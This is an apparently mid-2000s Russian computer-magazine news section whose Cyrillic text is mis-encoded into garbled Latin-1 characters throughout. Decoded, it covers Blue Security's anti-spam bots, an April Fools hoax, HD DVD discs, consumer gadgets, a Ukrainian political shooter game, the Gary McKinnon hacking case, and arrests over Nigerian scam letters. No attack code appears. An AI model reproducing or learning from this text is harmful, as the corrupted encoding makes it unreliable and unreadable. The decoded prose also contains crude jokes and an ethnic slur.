ìåíèòñÿ. Ýòî, íå ñ÷èòàÿ òåõ èçìåíåíèé, êîòîðûå âíåñóò íåïîñðåäñòâåííî
ïðîèçâîäèòåëè âèäåîïëàò. Òàê ÷òî æäåì-ñ � êòî nVidia GeForce 7800 GT,
à êòî � ATI Radeon R520.

][NEWSHARDNEWS

ÃÎËÓÁÛÅ ÁÎÐßÒÑß 
ÑÎ ÑÏÀÌÎÌ

Êàêîå, ïî-òâîåìó, íàêàçàíèå çàñëóæèâàþò ñïàìåðû? Ñîãëàñåí, êàñòðàöèÿ
ñ ìíîæåñòâåííîé àìïóòàöèåé èì ñàìîå òî, íî êîìïàíèÿ Blue Security èìå-
åò ñâîé ìåòîä âîçäåéñòâèÿ. Íàçûâàåòñÿ îí Blue Community, èëè ïî-ðóññêè
� êëóá ãîëóáûõ. Åñëè òû èçî äíÿ â äåíü âûãðåáàåøü èç ðàáî÷åãî ÿùèêà
ãîðû ðåêëàìíîãî òðýøà � êëóá ãîëóáûõ èìåííî òî, ÷òî òåáå íóæíî. Âñòó-
ïèòü â íåãî ìîæíî, çàðåãèâøèñü íà ñàéòå, äàëüøå òåáå ïðåäëàãàåòñÿ ñêà-
÷àòü êëèåíò Blue Frog è îáçàâåñòèñü ïàðî÷êîé íîâûõ ïî÷òîâûõ ÿùèêîâ.
Îíè áóäóò ðàáîòàòü ïî ïðèíöèïó honeypots, ÿâëÿÿñü ïðèìàíêîé äëÿ ñïàìà.
Êîãäà ãàäêèå ñïàìåðû ïîçàðÿòñÿ íà äåâñòâåííûé ÿùèê è íà÷íóò ïðîäâè-
ãàòü â íåì ñâîè ñàéòû ñ «ñàìûìè ãîðÿ÷èìè ñèñüêàìè», çà äåëî áåðåòñÿ
Blue Security. Óäîñòîâåðèâøèñü, ÷òî ñïàìåðñêèé òðýø íàðóøàåò  àìåðè-
êàíñêèé çàêîí CAN-SPAM, îíè íàòðàâëèâàþò íà ðåêëàìèðóåìûé ñàéò
ñâîè áîòû, êîòîðûå îòûñêèâàþò ïîëÿ äëÿ ââîäà òåêñòà è âñòàâëÿþò â íèõ
ïðîñüáó èñêëþ÷èòü òàêîé-òî ïî÷òîâûé ÿùèê èç «ñïèñêà ïîòåíöèàëüíûõ
êëèåíòîâ». À òàê êàê âñå ìåìáåðû ïî ñóòè îáúåäèíåíû, òî ïðîñüá ýòèõ áó-
äåò â ïîëÿõ ñòîëüêî, ÷òî âëàäåëüöàì ãîðÿ÷èõ ñèñåê ðàçãðåáàòü è ðàçãðå-
áàòü. Ýòî ìîæíî ñðàâíèòü ñ DoS-àòàêîé, ñ òîé ëèøü ðàçíèöåé, ÷òî âñå êàê
áû ïî-÷åñòíîìó è íå ïðèäðàòüñÿ. Ó ïîäîáíîãî ìåòîäà åñòü è ïðîòèâíèêè,
íàïðèìåð, Äæîí Ëåâàéí � âåäóùèé ñïåöèàëèñò ïî áîðüáå ñî ñïàìîì è
÷ëåí êðóïíîé àíòèñïàìåðñêîé êîàëèöèè. Ïî åãî ìíåíèþ, ýòîò ñïîñîá íè-
êóäà íå ãîäèòñÿ ââèäó ñâîåé íåýòè÷íîñòè. Íà ÷òî ðóêîâîäèòåëü Ãîëóáîé
Ñåêóðèòè îòâåòèë: «Ìû ïûòàåìñÿ ïðåäóïðåäèòü ñïàìåðîâ, à íå àòàêîâàòü
èõ. Îíè âïîëíå ìîãóò óáðàòü ÿùèêè èç ñïèñêà ÷ëåíîâ êëóáà Ãîëóáûõ. À åñ-
ëè íåò � íà íåò è ñóäà íåò. Ãû-ãû». Ñëîâîì, èíèöèàòèâà õîðîøàÿ. ß á è
ñàì ê íèì ïðèñîåäèíèëñÿ, åñëè á íàçâàíèå êëóáà áûëî äðóãèì.

ÂÑÅ ÁÛ ÂÀÌ 
ØÓÒÎ×ÊÈ ØÓÒÈÒÜ

Êàê íàì ñòàëî èçâåñòíî, èç íîâîñ-
òè íà Securitylab.ru, äàòèðîâàííîé
1 àïðåëÿ ýòîãî ãîäà, êîðïîðàöèÿ
Microsoft çàêëþ÷èëà äîãîâîð ñ
ÍÈÈ Òðàíñïëàíòîëîãèè î ñîòðóä-
íè÷åñòâå. Êàê ãîâîðèòñÿ, âû �
íàì, ìû � âàì. Áèëëè Ãåéòñ îáÿ-
çàëñÿ ñíàáæàòü äîêòîðîâ íîâåé-
øèìè âèíäàìè è ïðî÷èìè ìàçäàé-

íûìè ïðîãàìè, à ÍÈÈ � äåëàòü õàëÿâíûå îïåðàöèè íà ïåðåñàäêó îðãàíîâ
õâîðàþùèì ñîòðóäíèêàì êîìïàíèè. Íàðîä íà ñåêóëàáå, ïîìíèòñÿ, òîãäà
íå ïîâåëñÿ. «Âñå áû âàì øóòî÷êè øóòèòü», � ñêåïòè÷åñêè êîììåíòèðîâà-
ëà ïóáëèêà. À âîò êîå-êòî ïîâåðèë. È íå òîëüêî ïîâåðèë, íî è ñîîáðàçèë:
«À âåäü êëåâî ïîëó÷àåòñÿ. Íàäî áû èì ñâîé òåòðèñ íà áåéñèêå âïèõíóòü, à
âçàìåí ïóñòü ïðèøüþò ìíå íîâûå óøè âìåñòî ìîèõ ëîïîóõèõ». Êîðî÷å,
ïðåäëîæåíèÿ îò âäîõíîâëåííûõ ñîôòìåéêåðîâ ïîâàëèëè â ÍÈÈ Òðàí-
ñïëàíòîëîãèè íå ïðîñòî ðó÷üåì, à Íèàãàðñêèì âîäîïàäîì. Äà åùå è îðãà-
íû ñîîòâåòñòâóþùèå çàèíòåðåñîâàëèñü, âåäü ïåðåñàäêè îðãàíîâ, ïðîñòèòå
óæ çà òàôòàëîãèþ, â Ðîññèè çàïðåùåíû. Íàêîíåö, ïðåäñòàâèòåëè ÍÈÈ íå
âûäåðæàëè è îáðàòèëèñü ê àâòîðàì ïîðòàëà ñ ïðîñüáîé ïðåêðàòèòü ýòî áå-
çîáðàçèå. Ðåçóëüòàòîì ñòàëî îôèöèàëüíîå çàÿâëåíèå â íîâîñòÿõ ñåêóëà-
áà, ìîë, øóòêà áûëà, ÷óâàêè. Øóòèì ìû òàê, àãà. À çëîñ÷àñòíóþ ñòàòüþ
óäàëèëè îò ãðåõà ïîäàëüøå.
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ÊÀÊ ÏÎËÓ×ÈÒÜ 
30 ÃÁ ÍÀ DVD?
Ñâîèì ñåêðåòîì ïîäåëèëèñü èíæåíåðû êîìïàíèè Toshiba, êîòîðàÿ óæå èìå-
åò â ñâîåì àêòèâå äâóõñëîéíûå áîëâàíêè HD DVD-R DL êàê ðàç òàêîãî îáú-
åìà. ×òîáû ýòî ñòàëî âîçìîæíûì, ïîòðåáîâàëîñü ðàçðàáîòàòü íîâûé îðãà-
íè÷åñêèé ìàòåðèàë, èñïîëüçóåìûé â êà÷åñòâå ñëîÿ îòðàæåíèÿ â äèñêàõ, à
òàêæå ðåàëèçîâàòü íîâûé, áîëåå ñîâåðøåííûé òåõïðîöåññ. Äëÿ ñîçäàíèÿ
äèñêîâ HD DVD-R DL íóæíî áûëî ñèëüíî ñíèçèòü òîëùèíó îòðàæàþùåãî
ñëîÿ ñåðåáðà, ÷òîáû äàòü âîçìîæíîñòü ëàçåðíîìó ëó÷ó ñâîáîäíî äîñòèãàòü
íèæåëåæàùåãî ñëîÿ. Îäíàêî áîëåå òîíêèé ñëîé ñåðåáðà íà÷èíàåò àêòèâíî
«ïîãëîùàòü» ýíåðãèþ, òî åñòü ïðè óìåíüøåíèè òîëùèíû ñëîÿ ñåðåáðà âû-
äåëåíèå òåïëîòû èç ñëîÿ çíà÷èòåëüíî ñíèæàåòñÿ. Âñëåäñòâèå òåïëîâîãî
ðàñøèðåíèÿ èñêàæàåòñÿ âçàèìíîå ðàñïîëîæåíèå çàïèñàííûõ ìåòîê. Äëÿ
ïðåîäîëåíèÿ ýòîãî ýôôåêòà ðàçðàáîò÷èêè èñïîëüçîâàëè îðãàíè÷åñêèé ìà-
òåðèàë ñ áîëüøèì êîýôôèöèåíòîì òåïëîïðîâîäíîñòè. Toshiba íà÷èíàåò èñ-
ïîëüçîâàòü 0.6-ìì ôîð-
ìîâî÷íûå ìàòðèöû èç
ïîëèêàðáîíàòà, êîòî-
ðûå ìîãóò èñïîëüçî-
âàòüñÿ â ñëåäóþùèõ
ñòàäèÿõ òåõïðîöåññà.

ÂÑÅ ÖÂÅÒÀ ÐÀÄÓÃÈ

Êîìïàíèÿ Creative îáíîâèëà ýêñòåðüåð ñâîèõ óñòðîéñòâ. Òåïåðü
àêóñòè÷åñêèå ñèñòåìû ñåðèé SBS Vivid 80, SBS Vivid 60 è I-Trigue
3400 äîñòóïíû â äåñÿòè ðàçëè÷íûõ öâåòîâûõ èñïîëíåíèÿõ. Cèñòåìà
SBS Vivid 80 èìååò äâà 1,25 äþéìîâûõ äðàéâåðà, îäèí èç êîòîðûõ
ñîçäàåò äåòàëüíûé è ÷èñòûé çâóê, à âòîðîé èñïîëüçóåòñÿ äëÿ ïîâû-
øåíèÿ áàñîâ. Êàê SBS Vivid 80, òàê è SBS Vivid 60 èìååò âñòðîåí-
íûå ïåðåêëþ÷àòåëè äëÿ íàóøíèêîâ. Íàáîð Creative I-Trigue 3400 2.1
ñîñòîèò èç äâóõ ñàòåëëèòîâ, îñíàùåííûõ òðåìÿ 1-äþéìîâûìè ìèê-
ðîäðàéâåðàìè Neo Titanium è ñàáâóôåðà, èñïîëüçóþùåãî 6,5-äþé-
ìîâûé äðàéâåð. Åñòü âîçìîæíîñòü èñïîëüçîâàòü ýòè êîëîíêè ñ
MP3-ïëååðàìè, ÊÏÊ è äðóãèìè ïîðòàòèâíûìè óñòðîéñòâàìè. Ïî
ñëîâàì îäíîãî èç òîï-ìåíåäæåðîâ Creative: «Áëàãîäàðÿ ìîäíîìó
äèçàéíó, ýòè ìîùíûå êîëîíêè äàþò ïîëüçîâàòåëÿì òîò ñòèëü, êîòî-
ðûé îíè ñàìè ïîæåëàþò».

ÌÈÌÎ ËÓÍÊÈ

Â ìàãàçèí IWantOneOfThose.com
çàâåçëè «óìíûå» ìÿ÷èêè äëÿ
ãîëüôà Incred-a-Ball. Íåò, ýòî íå
òîò ôàíòàñòè÷åñêèé ãýäæåò, êîòî-
ðûé ñàì îãèáàåò äåðåâüÿ è äðó-
ãèå ïðåïÿòñòâèÿ, âûïðûãèâàåò èç
ðàñùåëèí è ïðÿìèêîì çàêàòûâà-
åòñÿ â ëóíêó. Âíóòðè Incred-a-Ball
âðàùàþùèéñÿ ãèðîñêîï. Ïî íàæà-
òèþ íà åäèíñòâåííóþ êíîïêó íà
òðåõäèàïàçîííîé äèñòàíöèîíêå,
ìÿ÷èê íà÷èíàåò äâèãàòüñÿ çèãçà-
ãîì, âèëÿÿ èç ñòîðîíû â ñòîðîíó.

Ðàçðàáîò÷èêè ïðåäîñòåðåãàþò � åñëè òâîé ïðîòèâíèê íå ïîíèìàåò
õîðîøóþ øóòêó, ìîæíî ïðîïóñòèòü óäàð êëþøêîé ïîä äûõ. Â êîìïëåê-
òå ñ ãýäæåòîì ïîñòàâëÿåòñÿ çàðÿäíîå óñòðîéñòâî. Ñòîèò Incred-a-Ball
25 àìåðèêàíñêèõ ðóáëåé.

ÊÐÅÌ ÄËß ÇÀÃÀÐÀ
Êîãäà â òåðìîìåòðå çà îêíîì çàêèïåëà ðòóòü, íåêòî Ýä Ôèëëèïñ èç
Âåëèêîáðèòàíèè âûäàë ñâîå íîâîå ñóïåðèçîáðåòåíèå � èíòåëëåêòó-
àëüíûé äîçàòîð äëÿ ñîëíöåçàùèòíîãî êðåìà. MyTan ïðåäñòàâëÿåò
ñîáîé êîìïàêòíóþ åìêîñòü, â êîòîðóþ çàëèâàåòñÿ ëîñüîí èëè êðåì
äëÿ çàãàðà. Ïåðâûì äåëîì, âðàùàÿ ðó÷êó, íóæíî çàäàòü òèï êîæè è
åå ñêëîííîñòü ê çàãàðó. Ýòó õàðàêòåðèñòèêó ìîæíî îïðåäåëèòü ïî
òàáëèöå íà îñíîâå äàííûõ î öâåòå êîæè äî çàãàðà, öâåòå âîëîñ, êî-
ëè÷åñòâå âåñíóøåê è öâåòå êîæè ïîñëå çàãàðà. Çàòåì ñëåäóåò óêà-
çàòü âðåìÿ ñóòîê è ñîëíå÷íóþ àêòèâíîñòü, à òàêæå äëèòåëüíîñòü
ñîëíå÷íûõ âàíí. Â ñîîòâåòñòâèè ñ æåëàåìûì ðåçóëüòàòîì, íà ðîëèê
áóäåò âûäàâëåíî ðîâíî ñòîëüêî êðåìà, ÷òîáû ïîëó÷èòü çäîðîâûé çà-
ãàð, à íå ïîêðûòüñÿ âîëäûðÿìè. Ñ èñïîëüçîâàíèåì MyTan îòïàäàåò
íåîáõîäèìîñòü íîñèòü ñ ñîáîé íåñêîëüêî ñðåäñòâ äëÿ çàãàðà ñ ðàç-
íûìè ôàêòîðàìè çàùèòû. Ñàì ïî ñåáå äîçàòîð î÷åíü óäîáåí â èñ-
ïîëüçîâàíèè, à åìêîñòü ìîæíî çàïðàâëÿòü íåîäíîêðàòíî.

HITECHNEWS



ÓÊÐÀÈÍÑÊÈÅ ÃÅÉÌ-
ÄÅÂÅËÎÏÅÐÛ ÆÃÓÒ

Õèòîì ïðîäàæ íà ðûíêå êîìïüþòåðíûõ èãð íà
Óêðàèíå ñåé÷àñ ÿâëÿåòñÿ èãðóøêà «Îïåðàöèÿ
Ãàëè÷èíà». Îíà ïî ñóòè ÿâëÿåòñÿ àääîíîì ê
øóòåðó Ghost Recon, à â îñíîâå ñþæåòà ëå-
æàò ïîëèòè÷åñêèå ñîáûòèÿ íåçàëýæíîé äýð-
æàâû, â êîòîðîé íûí÷å ñìóòíûå âðåìåíà. Öè-
òèðóþ òåêñò íà êîðîáî÷êå: «2008 ãîä. Íà ïðå-
çèäåíòñêèõ âûáîðàõ íà Óêðàèíå ïîáåæäàåò

ïðîðîññèéñêèé êàíäèäàò Ñåðãåé Ãðèøêîâ. Â çàïàäíûõ îáëàñòÿõ íå
ïðèçíàþò ðåçóëüòàòû âûáîðîâ è îáúÿâëÿþò, ÷òî íå áóäóò ïîä÷èíÿòü-
ñÿ ïðîäàâøåìóñÿ ðóññêèì Ãðèøêîâó. Óêðàèíà îáðàùàåòñÿ ê Ðîññèè ñ
ïðîñüáîé ïîìî÷ü â âîññòàíîâëåíèè òåððèòîðèàëüíîé öåëîñòíîñòè
ñòðàíû». Â èãðå òû óïðàâëÿåøü òåì, êîãî ïðèñëàëè íà ïîìîùü, òî
åñòü çâåðîïîäîáíûì ñïåöíàçîâöåì ñ òàòóýðîâêîé «Óáèâàþ ñ îäíîãî
óäàðà». Òâîÿ çàäà÷à � øòóðìîâàòü óêðàèíñêèå ãîðîäà, ìî÷èòü õîõ-
ëîâ è íàñèëîâàòü èõ æåíùèí. Ñ ïîñëåäíèì � ýòî ÿ ïðèóêðàñèë, íî â
öåëîì ìèññèÿ ïîíÿòíà. Óêðàèíñêèå ÷èíîâíèêè òàêîãî ïîâîðîòà íå
îæèäàëè. Âåäü èãðà, ïî ñóòè � ñèìóëÿòîð ñâåðæåíèÿ âëàñòè íà Óêðà-
èíå è óáèåíèÿ åå ìèðíûõ æèòåëåé. Ïîýòîìó â ñðî÷íîì ïîðÿäêå èçäà-
ëè óêàç èãðó çàïðåòèòü, âèíîâíûõ íàéòè è ïîâåñèòü. Íó, èëè õîòÿ áû
âûãîâîð ñòðîãèé ñäåëàòü. Â ñîñòàâå ñêàíäàëüíîé èãðû åñòü è äðóãèå
÷àñòè ñ ñîáûòèÿìè, êîòîðûå ÿêîáû ðàçâèâàþòñÿ â äàëåêîì áóäóùåì.
Íàïðèìåð, â 8002 ãîäó íà ïðåçèäåíòñêèõ âûáîðàõ íà Óðàíå ïîáåæäà-
åò ãîëóáîé êàíäèäàò Ñåðåæà Ãîëóáêîâ. Íà Ëóíå ðîçîâûå èçáèðàòåëè
íå ïðèçíàþò ðåçóëüòàòû âûáîðîâ è îáúÿâëÿþò, ÷òî íå áóäóò ïîä÷è-
íÿòüñÿ ïðîïèâøåìóñÿ ãîëóáîìó çàñèëèþ. Óðàí îáðàùàåòñÿ ê Ìàðñó ñ
ïðîñüáîé ïîìî÷ü â âîññòàíîâëåíèè òåððèòîðèàëüíîé öåëîñòíîñòè
èìïåðèè». Íåñìîòðÿ íà çàïðåò, èãðà áîéêî ðàñõîäèòñÿ ñ ïèðàòñêèõ
ïðèëàâêîâ, è íàøè óêðàèíñêèå äðóçüÿ ñ óäîâîëüñòâèåì ðàññòðåëèâà-
þò ñâîèõ âèðòóàëüíûõ ñîîòå÷åñòâåííèêîâ. Âîîáùå, ýòî íå åäèíñòâåí-
íàÿ èãðà, ñäåëàííàÿ íà Óêðàèíå ñ ïîëèòè÷åñêèì óêëîíîì. Íàðîä êëå-
ïàåò ãåéìóõè, ãäå ïðåäëàãàåòñÿ ìåòàòü ÿéöà â ßíóêîâè÷à, è òàêèì îá-
ðàçîì «ñïàñòè Óêðàèíó». Âåñåëî òàì, ñóäÿ ïî âñåìó.

ÕÀÊÅÐ ÐÀÑÊÐÛÂÀÅÒ
ÑÅÊÐÅÒÛ NASA

Õàêåðà ýòîãî çîâóò Ãà-
ðè Ìàêêèííîí. Îáû÷-
íûé 39-ëåòíåé àìåðè-
êàíñêèé õàêåð, âðîäå
áû íè÷åãî îñîáåííîãî.
Íî Ãàðèê âçëîìàë ñåòü
íåñêîëüêèõ âîåííûõ è
ïðàâèòåëüñòâåííûõ ñå-
òåé ÑØÀ, âêëþ÷àÿ
NASA. È, òàê êàê ïðàâè-
òåëüñòâî ýòîãî íå ëþ-
áèò, ïàðíÿ àðåñòîâà-
ëè � òåïåðü åìó ãðî-

çèò äî 70 ëåò òþðüìû. À ïîêà îí îæèäàåò ñóäà, æóðíàëèñòû ãàçåòû The
Guardian ñâÿçàëèñü ñî âçëîìùèêîâ è, êàê áû íåâçíà÷àé, ïîèíòåðåñîâàëèñü,
÷òî òàêîãî èíòåðåñíîãî îí îáíàðóæèë â ñåêðåòíûõ çàêðîìàõ ñâåðõäåðæàâû.
«Îîî, ÿ îáíàðóæèë òàì ÒÀÊÎÅ», � ìíîãîçíà÷èòåëüíî îõíóë Ãàðè. «Ñïèñîê
âíåçåìíûõ ñîòðóäíèêîâ! Ïðåäñòàâëÿåòå? Îíè òî óæ òî÷íî íå íà Çåìëå. À åùå
ñïèñîê íàçâàíèé êîðàáëåé! È ýòî óæ íàâåðíÿêà íå òåõ, êîòîðûå ïëàâàþò».
«Âû äóìàåòå ó NASA åñòü ñåêðåòíûå êîñìè÷åñêèå êîðàáëè?», � îæèâèëèñü
æóðíàëèñòû. «Òî, ÷òî ÿ íàøåë, çàñòàâèëî ìåíÿ â ýòî ïîâåðèòü», � óâåðåííî
ìîëâèë õàêåð. À åùå îí ïðèçíàëñÿ, ÷òî åìó óäàëîñü äîáðàòüñÿ äî àìåðèêà-
íñêîãî öåíòðà óïðàâëåíèÿ êîñìè÷åñêèìè ïîëåòàìè, ãäå îêàçàëèñü ñâèäåòåëü-
ñòâà ïîäãîòîâêè ìåæïëàíåòíîé ìèññèè! «Êàêîé ìèññèè?», � óæàñíóëèñü àêó-
ëû ïåðà. «Íå ïîìíþ. ß êîãäà õàêàë, êóðíóë ìàëåõî�». Ïðàâèòåëüñòâî ïðåäú-
ÿâèëî Ãàðè ñåðüåçíûå îáâèíåíèÿ. Ìîë, îí ïîâðåäèë èì òàì âñå êîìïüþòåðû,
óäàëèë ñàìûå âàæíûå ôàéëû è, âîîáùå, ñëèøêîì ìíîãî çíàåò. Õàêåð ñîîá-
ùèë, ÷òî íèêàêèå êîìïüþòåðû íå ïîâðåæäàë, â NASA ïîïàë èñêëþ÷èòåëüíî
èç æåëàíèÿ óçíàòü ïîáîëüøå ïðî ÍËÎ, à åñëè ÷òî-òî è óäàëèë ñëó÷àéíî, òî
ñîððè, ñ êåì íå áûâàåò. ×åì çàêîí÷èòñÿ ýòà èñòîðèÿ, ÿ íå çíàþ, íî, ñäàåòñÿ
ìíå, ïîñëå îòêðîâåíèé ñ æóðíàëèñòàìè òåëî áåäîëàãè ñêîðî âûëîâÿò â ðåêàõ
Àìàçîíêè, îáãëîäàííîå ïèðàíüÿìè. Èëè â îäíîé èç ïñèõóøåê Àìåðèêè.

ÀÂÒÎÐÎÂ ÍÈÃÅÐÈÉÑ-
ÊÈÕ ÏÈÑÅÌ ÏÐÈÍßËÈ

Òû, ìîé äðóã, íàâåðíÿ-
êà çíàåøü, ÷òî òàêîå
íèãåðèéñêèå ïèñüìà,
òåì áîëåå ìû î íèõ ïè-
ñàëè. Íà òâîé ïî÷òî-
âûé ÿùèê â îäèí ïðåê-
ðàñíûé äåíü ïðèõîäèò
ìåññàãà, â êîòîðîé
ïðåäëàãàåòñÿ âûãîä-
íàÿ ñäåëêà ïî îòìûâà-
íèþ äåíåã. Èñòîðèÿ
ìîæåò îòëè÷àòüñÿ, íî
ñìûñë òàêîé � ïîìîãè
áàáëèøêîì ñåé÷àñ,
÷òîáû ïîëó÷èòü â ñòî

ðàç áîëüøå ïîòîì. ßñåí ÿñåíü, ïîòîì òû íå óâèäèøü íè äåíåã, íè àâòîðà.
Âûõîäöû èç Íèãåðèè, æèâóùèå íûí÷å â Èñïàíèè, ñ ïîìîùüþ òàêîãî ïðè-
ìèòèâíîãî ñïîñîáà ïîäíèìàþò ñîòíè òûñÿ÷ áàêñîâ � äîâåð÷èâûõ ëîõîâ â
ìèðå õâàòàåò. Èñïàíñêèå âëàñòè óæå äàâíî îçàáî÷åíû æàëîáàìè ïî ïîâî-
äó ýòèõ àôåð, è âîò, íàêîíåö, ðåøèëè ïîëîæèòü ýòîìó êîíåö. Ìåñÿö íàçàä
èñïàíñêàÿ ïîëèöèÿ ñîâìåñòíî ñ ÔÁÐ ïðîâåëè êðóïíóþ îïåðàöèþ ïîä êî-
äîâûì íàçâàíèåì «Íèë». Åå öåëüþ ñòàëî çàäåðæàíèå âñåõ ýòèõ íèãåðèéñ-
êèé áëàãîäåòåëåé. Â ðåçóëüòàòå ðåéäà óäàëîñü ïîâÿçàòü 295 ÷åëîâåê, òàê
èëè èíà÷å ïðè÷àñòíûõ ê íèãåðèéñêèì àôåðàì. Ïîëèöèÿ èçúÿëà áîëåå 200
òûñÿ÷ åâðî, 2 òûñÿ÷è ìîáèëüíèêîâ è 327 êîìïüþòåðîâ. Âîîáùå, ãîòîâè-
ëèñü ê ðåéäó óæå äàâíî, åùå ñ 2003 ã. Íî íàêðûòü áàíäó ðåøèëè òîëüêî
ñåé÷àñ, ïîñëå òîãî, êàê ñòàëè èçâåñòíû èìåíà è àäðåñà âñåõ êëþ÷åâûõ
ôèãóð. Ñåé÷àñ ïîëèöèÿ âûÿñíÿåò, ãäå õðàíÿòñÿ îñòàëüíûå äåíåæêè. Òàê-
æå åñòü ïðåäïîëîæåíèå, ÷òî ñ àðåñòîì ýòîé ìàôèè êîëè÷åñòâî íèãåðèéñ-
êèõ ïîñëàíèé â èíåòå ðåçêî ñîêðàòèòñÿ. ×òî æ, áóäåì íàäåÿòüñÿ.
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ÏËÀÂÀÒÅËÜÍÛÅ Î×ÊÈ

Ñòóäåíòêà òðåòüåãî êóðñà èç Âåëèêîáðèòàíèè Êåéòè Óèëüÿìñ èçîáðåëà
«óìíûå» î÷êè Inview Goggles äëÿ ïðîôåññèîíàëüíûõ ïëîâöîâ. Íà âíóò-
ðåííåé ñòîðîíå ëèíç � òî÷íî íà çðèòåëüíîé îñè � ðàñïîëîæåíû ñ÷åò-
÷èêè âðåìåíè è äèñòàíöèè. Ïðè âõîäå â âîäó ïëîâåö íàæèìàåò íà êíîï-
êó íà äóæêå î÷êîâ, òåì ñàìûì àêòèâèðóåò âñòðîåííûé êîìïàñ è ñîîá-
ùàåò åìó íà÷àëüíîå íàïðàâëåíèå äâèæåíèÿ. Äàëåå ïðè êàæäîì ðàçâî-
ðîòå êîìïàñ ðåãèñòðèðóåò èçìåíåíèå êîîðäèíàò è äîáàâëÿåò åäèíèöó
íà LCD-òàáëî. Ñåãîäíÿ áîëüøèíñòâî ïëîâöîâ ñëåäèò çà âðåìåíåì ïî
íàðó÷íîìó èëè íàñòåííîìó ñåêóíäîìåðó. Ýòî íå ïðîñòî íåóäîáíî, íî è
íåíóæíàÿ ïîòåðÿ óñèëèé è ýíåðãèè. Ìíîãèå ñáèâàþòñÿ ñî ñ÷åòà. Òåïåðü
ñïîðòñìåíû ìîãóò ïîëíîñòüþ ñêîíöåíòðèðîâàòüñÿ íà ñîâåðøåíñòâîâà-
íèè òåõíèêè ïëàâàíèÿ. 

ËÈÒÐÁÎË
Êîìïàíèÿ Lazy Bone (www.lazyboneuk.com) íà÷àëà ïîñòàâêè íîâîé «íà-
ðîäíîé çàáàâû» Pee Goals â àíãëèéñêèå ïàáû. Â êîìïëåêò èãðû âõîäèò

çåëåíîå ôóòáîëüíîå ïîëå èç ïëàñòèêà, íåáîëü-
øèå âîðîòà è ìÿ÷èê íà ëåñêå. Âñå ýòî äåëî
ðàçìåùàåòñÿ â óòðîáå ìóæñêîãî ïèññóàðà.
Îñóøèâ êðóæêó-äðóãóþ, ïðåäëàãàåòñÿ â îêðó-
æåíèè çðèòåëåé ïîáîðîòü êîíôóç, ïðèöåëèòüñÿ
è ïðîáèòü ïåíàëüòè. Ìÿ÷ èç ñåòêè ðóêîé äîñòà-
åò ïðîøòðàôèâøèéñÿ. Ñòîèìîñòü îäíîãî êîìï-
ëåêòà èãðû ñîñòàâëÿåò 8 äîëëàðîâ è ìåíüøå.

ØÀØËÛÊ ÍÀ ÑÎËÍÖÅ

Â Åâðîïå íà÷àëèñü ïðîäàæè ýêîëîãè÷åñêè ÷èñòîé æàðîâíè íà ñîëíå÷íûõ
ëó÷àõ. Ãðèëü Sun Cook ïðîèçâîäèòñÿ â Ïîðòóãàëèè è ïîçâîëÿåò ãîòîâèòü
åäó, èñïîëüçóÿ ñîëíöå â êà÷åñòâå åäèíñòâåííîãî èñòî÷íèêà ýíåðãèè. Íå
íóæíî ñîáèðàòü äðîâà äëÿ êîñòðà èëè æå÷ü ãàç. Íåò òîêñè÷íûõ âûáðîñîâ
â àòìîñôåðó. Èñïîëüçóÿ íåñêîëüêî çåðêàë èç ïîëèðîâàííîãî àëþìèíèÿ,
óñòðîéñòâî êîíöåíòðèðóåò ñîëíå÷íûå ëó÷è íà òåôëîíîâîé ñêîâîðîäå â
öåíòðå êîíñòðóêöèè. Åñëè ñîëíöå äîñòàòî÷íî âûñîêî, ñêîâîðîäà íàãðåâà-
åòñÿ äî òåìïåðàòóðû 150 ãðàäóñîâ ïî Öåëüñèþ è âûøå. Â ïîÿñå òðîïèêîâ
ìîæíî ðàçîãðåâàòü äî 3 êèëîãðàììîâ åäû ðàçîì, â äðóãèõ ïîÿñàõ � ÷óòü
ïîìåíüøå. Ñóùåñòâóåò âîçìîæíîñòü çàïðîãðàììèðîâàòü âðåìÿ æàðêè.
Ïî òàéìåðó çåðêàëà áóäóò àâòîìàòè÷åñêè äåàêòèâèðîâàíû. Äîïîëíèòåëü-
íàÿ íàñàäêà ïîçâîëÿåò ïðèãîòîâèòü êîôå äëÿ êîìïàíèè èç 6 ÷åëîâåê âñå-
ãî çà 10 ìèíóò. Â íàáîð âõîäÿò ïðîãðàììèðóåìûå ÷àñû íà ñîëíå÷íûõ áà-
òàðåÿõ. Ñòîèìîñòü ãðèëÿ Sun Cook ñîñòàâëÿåò îêîëî 200 åâðî. 

ÒÀÁËÅÒÊÀ ÈÇ ßÙÈÊÀ

Â Àìåðèêå çàðàáîòàëè ïåðâûå àâòîìàòû ïî âûäà÷å òàáëåòîê è ìèêñòóð. Ñ
âèäó ScriptCenter (www.asteres.com) íå îòëè÷àåòñÿ îò áàíêîìàòà ñ äåíüãà-
ìè èëè ÿùèêà, âûïëåâûâàþùåãî øîêîëàäíûå áàòîí÷èêè. Íàçíà÷àÿ êóðñ
ëå÷åíèÿ, âðà÷ ðåãèñòðèðóåò ðåöåïò â àâòîìàòå è âûäàåò ïàöèåíòó ïåðñî-
íàëüíûé ëîãèí è ïàðîëü. Î÷åðåäíóþ ïîðöèþ òàáëåòîê ìîæíî ïðåäâàðè-
òåëüíî çàêàçàòü ÷åðåç èíòåðíåò èëè ïî òåëåôîíó, à çàòåì îïëàòèòü è çàá-
ðàòü èõ â ScriptCenter. ×òîáû ïàöèåíò íå ïîëó÷èë ñëàáèòåëüíîå âìåñòî
òàáëåòîê îò êàøëÿ, ìàøèíà äâàæäû ñâåðÿåò øòðèõ-êîä: êîãäà ëåêàðñòâà
çàêëàäûâàþòñÿ â àâòîìàò è íåïîñðåäñòâåííî ïåðåä èõ âûäà÷åé. Íîâûå àâ-
òîìàòû ýôôåêòèâíî ðåøàþò ïðîáëåìó î÷åðåäåé â àïòåêàõ, à òàêæå îáñëó-
æèâàþò çàêàçû ïîëóíî÷íûõ ïàöèåíòîâ.[X
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MAXTOR 6B300S0 | MAXTOR GL200P0| SEAGATE ST3200826AS| SEAGATE ST3400832AS| WESTERN DIGITAL WD 2500JS



Åùå ñîâñåì íåäàâíî ìàòåðèíñêóþ ïëàòó ñëîæíî áûëî ïðåäñòàâèòü áåç, êàê ìèíèìóì, äâóõ

èíòåðôåéñíûõ ðàçúåìîâ IDE (Parallel ATA), íåñìîòðÿ íà ñòðåìèòåëüíóþ ýâîëþöèþ äðóãèõ

êîìïëåêòóþùèõ. Îäíàêî ñ ïîÿâëåíèåì íîâîãî ñòàíäàðòà SATA 150 (Serial ATA), ñèòóàöèÿ íà-

÷àëà ñòðåìèòåëüíî ìåíÿòüñÿ. Òàê, íàïðèìåð, íà ñèñòåìíûå ïëàòû LGF775 ìîíòèðóåòñÿ óæå

